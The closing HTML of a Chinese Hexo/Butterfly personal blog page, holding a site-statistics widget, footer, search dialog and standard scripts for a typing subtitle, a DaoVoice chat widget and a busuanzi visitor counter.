card-webinfo"><div class="item-headline"><i class="fas fa-chart-line"></i><span>网站资讯</span></div><div class="webinfo"><div class="webinfo-item"><div class="item-name">文章数目 :</div><div class="item-count">61</div></div><div class="webinfo-item"><div class="item-name">已运行时间 :</div><div class="item-count" id="runtimeshow" data-publishDate="2019-11-30T16:00:00.000Z"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">本站访客数 :</div><div class="item-count" id="busuanzi_value_site_uv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">本站总访问量 :</div><div class="item-count" id="busuanzi_value_site_pv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">最后更新时间 :</div><div class="item-count" id="last-push-date" data-lastPushDate="2023-10-21T04:23:56.038Z"><i class="fa-solid fa-spinner fa-spin"></i></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2019 - 2023 By MocusEZ</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener external nofollow noreferrer" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener external nofollow noreferrer" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div><div class="footer_custom_text"><a href="http://beian.miit.gov.cn/" rel="external nofollow noreferrer"  style="color:#f72b07" target="_blank">闽ICP备2021003009号</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div id="local-search"><div class="search-dialog"><nav class="search-nav"><span class="search-dialog-title">搜索</span><span id="loading-status"></span><button class="search-close-button"><i class="fas fa-times"></i></button></nav><div class="is-center" id="loading-database"><i class="fas fa-spinner fa-pulse"></i><span>  数据库加载中</span></div><div class="search-wrap"><div id="local-search-input"><div class="local-search-box"><input class="local-search-box--input" placeholder="搜索文章" type="text"/></div></div><hr/><div id="local-search-results"></div></div></div><div id="search-mask"></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.min.js"></script><script src="/js/search/local-search.js"></script><div class="js-pjax"><script>function subtitleType () {
  if (true) { 
    window.typed = new Typed("#subtitle", {
      strings: ["初看前路近可至，细思百事竞待忙","认知，信条，教导"],
      startDelay: 300,
      typeSpeed: 150,
      loop: true,
      backSpeed: 50
    })
  } else {
    document.getElementById("subtitle").innerHTML = '初看前路近可至，细思百事竞待忙'
  }
}

if (true) {
  if (typeof Typed === 'function') {
    subtitleType()
  } else {
    getScript('https://cdn.jsdelivr.net/npm/typed.js/lib/typed.min.js').then(subtitleType)
  }
} else {
  subtitleType()
}</script></div><script>(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/1df8ba05.js","daovoice")
</script><script>var isChatBtn = false
daovoice('init', {
  app_id: '1df8ba05',},{
  launcher: { 
     disableLauncherIcon: isChatBtn // 悬浮 ICON 是否显示
  },
});
daovoice('update');

if (isChatBtn) {
  var chatBtnFn = () => {
    var chatBtn = document.getElementById("chat_btn")
    chatBtn.addEventListener("click", function(){
      daovoice('show')
    });
  }
  chatBtnFn()
} else {
  if (false) {
    function chatBtnHide () {
      daovoice('update', {},{
        launcher: { 
        disableLauncherIcon: true // 悬浮 ICON 是否显示
        },
      });
    }
    function chatBtnShow () {
      daovoice('update', {},{
        launcher: { 
        disableLauncherIcon: false // 悬浮 ICON 是否显示
        },
      });
    }
  }
}</script><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script></div></body></html>